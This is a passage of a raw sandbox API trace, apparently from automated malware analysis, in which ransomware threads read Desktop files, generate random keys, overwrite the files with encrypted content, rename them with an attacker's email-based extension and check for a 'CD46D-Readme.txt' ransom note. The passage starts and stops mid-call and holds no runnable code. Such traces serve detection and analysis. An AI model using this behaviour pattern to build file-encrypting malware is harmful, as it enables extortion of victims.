hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.369] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x45ffe0 [0054.369] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460008 [0054.369] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0740 [0054.369] NtQuerySystemTime (in: CurrentTime=0x898f82c | out: CurrentTime=0x898f82c*=132174898183428000) returned 0x0 [0054.369] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x5c20af2d [0054.369] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x7f573924 [0054.369] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x5955bb78 [0054.369] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x16669232 [0054.369] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x1c7cc753 [0054.369] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x48a744f [0054.369] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x3c0cb2da [0054.369] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x1bac9a49 [0054.369] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x773a7b11 [0054.369] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x632366d8 [0054.369] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0xb93b7c2 [0054.369] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0xab1f04d [0054.369] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x174220ec [0054.369] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x674f1876 [0054.369] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x180e10f2 [0054.369] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x15d0fa48 [0054.369] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x5e46a5c5 [0054.370] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0xc0ef555 [0054.370] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x13e00edb [0054.370] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x782c486 [0054.370] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x1a87cd77 [0054.370] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x26d3a050 [0054.370] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x5c09e769 [0054.370] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x569ac491 [0054.370] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x318687bf [0054.370] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x5fd992e9 [0054.370] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x2a25a0e4 [0054.370] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x7ebe8cab [0054.370] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x401afa59 [0054.370] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x7ed50c75 [0054.370] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x455bebeb [0054.370] RtlRandomEx (in: Seed=0x898f838 | out: Seed=0x898f838) returned 0x5bf5d66d [0054.382] ReadFile (in: hFile=0x5b4, lpBuffer=0x12d869b0, nNumberOfBytesToRead=0x4d55, lpNumberOfBytesRead=0x898f828, lpOverlapped=0x0 | out: lpBuffer=0x12d869b0*, lpNumberOfBytesRead=0x898f828*=0x4d55, lpOverlapped=0x0) returned 1 [0054.383] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.383] WriteFile (in: hFile=0x5b4, lpBuffer=0x9721910*, nNumberOfBytesToWrite=0x4d55, lpNumberOfBytesWritten=0x898f824, lpOverlapped=0x0 | out: lpBuffer=0x9721910*, lpNumberOfBytesWritten=0x898f824*=0x4d55, lpOverlapped=0x0) returned 1 [0054.482] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0308 [0054.482] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d02b8 [0054.482] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d02b8) returned 1 [0054.482] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9721910) returned 1 [0054.482] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d869b0) returned 1 [0054.488] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437a30) returned 1 [0054.488] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb38) returned 1 [0054.488] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3b) returned 0x44bb38 [0054.488] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.488] WriteFile (in: hFile=0x5b4, lpBuffer=0x44e990*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x898f88c, lpOverlapped=0x0 | out: lpBuffer=0x44e990*, lpNumberOfBytesWritten=0x898f88c*=0x11f, lpOverlapped=0x0) returned 1 [0054.521] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e990) returned 1 [0054.521] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0054.521] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d02b8) returned 1 [0054.521] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb38) returned 1 [0054.521] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0308) returned 1 [0054.521] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460008) returned 1 [0054.521] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0808) returned 1 [0054.521] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d07b8) returned 1 [0054.521] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e002d0 [0054.521] wcscpy (in: _Dest=0x5e002d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GT7a13LfUNvpkBWLAb_.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GT7a13LfUNvpkBWLAb_.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GT7a13LfUNvpkBWLAb_.bmp" [0054.521] wcscat (in: _Dest=0x5e002d0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GT7a13LfUNvpkBWLAb_.bmp.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GT7a13LfUNvpkBWLAb_.bmp.mailto[2Hamlampampom@cock.li].cd46d" [0054.521] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GT7a13LfUNvpkBWLAb_.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x898f844, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GT7a13LfUNvpkBWLAb_.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.521] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xda) returned 0x449be8 [0054.586] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449be8) returned 1 [0054.586] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49dfe0) returned 1 [0054.586] NtQueryInformationFile (in: FileHandle=0x5b4, IoStatusBlock=0x898f850, FileInformation=0x898f828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x898f850, FileInformation=0x898f828) returned 0x0 [0054.587] NtSetInformationFile (FileHandle=0x5b4, IoStatusBlock=0x898f850, FileInformation=0x898f828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.590] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e002d0) returned 1 [0054.590] FlushFileBuffers (hFile=0x5b4) returned 1 [0054.591] CloseHandle (hObject=0x5b4) returned 1 [0054.592] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418ed8 [0054.592] wcscpy (in: _Dest=0x418ed8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0054.592] wcscat (in: _Dest=0x418ed8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0054.592] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0054.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418ed8) returned 1 [0054.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446cc0) returned 1 Thread: id = 287 os_tid = 0xb04 [0047.000] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H4SoUBod.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h4soubod.mp3")) returned 0x20 [0047.000] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H4SoUBod.mp3", dwFileAttributes=0x20) returned 1 [0054.346] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H4SoUBod.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h4soubod.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5b8 [0054.346] GetFileSizeEx (in: hFile=0x5b8, lpFileSize=0x8a3f898 | out: lpFileSize=0x8a3f898*=79278) returned 1 [0054.346] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x135aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.346] ReadFile (in: hFile=0x5b8, lpBuffer=0x8a3f81c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8a3f818, lpOverlapped=0x0 | out: lpBuffer=0x8a3f81c*, lpNumberOfBytesRead=0x8a3f818*=0x4, lpOverlapped=0x0) returned 1 [0054.347] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.347] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460120 [0054.347] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460080 [0054.347] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x45ffe0 [0054.347] NtQuerySystemTime (in: CurrentTime=0x8a3f7f8 | out: CurrentTime=0x8a3f7f8*=132174898183272000) returned 0x0 [0054.347] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x57e2f77a [0054.347] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x7586efed [0054.347] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x4ab138d5 [0054.347] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x417823c9 [0054.347] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x21e36d05 [0054.347] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x63e43786 [0054.347] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x74b7183e [0054.347] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x1da3866e [0054.347] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x3768ee7e [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x35deacdd [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0xf17ac94 [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x72dad8e7 [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x692a0da8 [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x3f3b3803 [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x59f6161a [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x7e1a6578 [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x6fa1daac [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x8053af3 [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x491be4e8 [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x6e6ddc09 [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x3ec7ad19 [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x39f88a14 [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x6fb1aee6 [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x3c832109 [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x22738d62 [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x6d99c28c [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x7eb5370b [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x5ce1602e [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x1cee875f [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x42ee83ae [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x7f8daab3 [0054.348] RtlRandomEx (in: Seed=0x8a3f804 | out: Seed=0x8a3f804) returned 0x23d6e99e [0054.361] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.361] ReadFile (in: hFile=0x5b8, lpBuffer=0x12d6d9a0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x8a3f7d8, lpOverlapped=0x0 | out: lpBuffer=0x12d6d9a0*, lpNumberOfBytesRead=0x8a3f7d8*=0xc800, lpOverlapped=0x0) returned 1 [0054.361] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.362] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bb38 [0054.362] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437a30 [0054.362] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460120 [0054.362] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460120) returned 1 [0054.362] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d7a1a8 [0054.366] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460120 [0054.366] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x45ffe0 [0054.366] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ffe0) returned 1 [0054.366] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437a30) returned 1 [0054.366] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb38) returned 1 [0054.366] WriteFile (in: hFile=0x5b8, lpBuffer=0x12d7a1a8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x8a3f7d8, lpOverlapped=0x0 | out: lpBuffer=0x12d7a1a8*, lpNumberOfBytesWritten=0x8a3f7d8*=0xc800, lpOverlapped=0x0) returned 1 [0054.481] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7a1a8) returned 1 [0054.481] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d6d9a0) returned 1 [0054.481] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ce8d0 [0054.481] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.481] WriteFile (in: hFile=0x5b8, lpBuffer=0x44e878*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x8a3f858, lpOverlapped=0x0 | out: lpBuffer=0x44e878*, lpNumberOfBytesWritten=0x8a3f858*=0x109, lpOverlapped=0x0) returned 1 [0054.519] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e878) returned 1 [0054.519] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce900) returned 1 [0054.520] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0330) returned 1 [0054.520] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce8d0) returned 1 [0054.520] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460120) returned 1 [0054.520] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460080) returned 1 [0054.520] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ffb8) returned 1 [0054.520] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460030) returned 1 [0054.520] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae) returned 0x45c858 [0054.520] wcscpy (in: _Dest=0x45c858, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H4SoUBod.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H4SoUBod.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H4SoUBod.mp3" [0054.520] wcscat (in: _Dest=0x45c858, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H4SoUBod.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H4SoUBod.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0054.520] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H4SoUBod.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x8a3f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H4SoUBod.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.520] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00200 [0054.578] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00200) returned 1 [0054.578] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49e208) returned 1 [0054.578] NtQueryInformationFile (in: FileHandle=0x5b8, IoStatusBlock=0x8a3f81c, FileInformation=0x8a3f7f4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x8a3f81c, FileInformation=0x8a3f7f4) returned 0x0 [0054.579] NtSetInformationFile (FileHandle=0x5b8, IoStatusBlock=0x8a3f81c, FileInformation=0x8a3f7f4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.585] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c858) returned 1 [0054.585] FlushFileBuffers (hFile=0x5b8) returned 1 [0054.587] CloseHandle (hObject=0x5b8) returned 1 [0054.589] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418ed8 [0054.589] wcscpy (in: _Dest=0x418ed8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0054.589] wcscat (in: _Dest=0x418ed8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0054.589] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0054.589] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418ed8) returned 1 [0054.589] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420fc8) returned 1 Thread: id = 288 os_tid = 0xb08 [0047.001] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I43kq.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i43kq.png")) returned 0x20 [0047.001] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I43kq.png", dwFileAttributes=0x20) returned 1 [0054.325] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I43kq.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i43kq.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5bc [0054.326] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x89dfa0c | out: lpFileSize=0x89dfa0c*=97261) returned 1 [0054.326] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x17be9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.326] ReadFile (in: hFile=0x5bc, lpBuffer=0x89df990, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x89df98c, lpOverlapped=0x0 | out: lpBuffer=0x89df990*, lpNumberOfBytesRead=0x89df98c*=0x4, lpOverlapped=0x0) returned 1 [0054.326] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.326] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460198 [0054.327] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460148 [0054.327] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460120 [0054.327] NtQuerySystemTime (in: CurrentTime=0x89df96c | out: CurrentTime=0x89df96c*=132174898183116000) returned 0x0 [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x2c928dcf [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x56cdea50 [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x4d8d6422 [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x7af4181b [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x2581b388 [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x6cd64a90 [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x7ca9f60c [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x5c4b87ed [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x2becb0d8 [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x1e025565 [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x4f02601d [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x3dd0904f [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x2d8e8026 [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x545ec75f [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x4677cb1c [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x6c864a53 [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x37a4f7dd [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x56e8e265 [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x3657d832 [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x5e8ec5de [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x3c704769 [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x36a80bda [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x4f980cd9 [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0xbc82f0d [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x1b0b09e5 [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x108148be [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x7cfdba18 [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x6aa8f658 [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x11e21554 [0054.327] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x42967e3e [0054.328] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x282f2a68 [0054.328] RtlRandomEx (in: Seed=0x89df978 | out: Seed=0x89df978) returned 0x53bc078b [0054.339] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.339] ReadFile (in: hFile=0x5bc, lpBuffer=0x12d54990, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x89df94c, lpOverlapped=0x0 | out: lpBuffer=0x12d54990*, lpNumberOfBytesRead=0x89df94c*=0xc800, lpOverlapped=0x0) returned 1 [0054.340] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.340] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bb38 [0054.340] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437a30 [0054.340] RtlAllocateHeap (HeapHandle=0x3f0000, 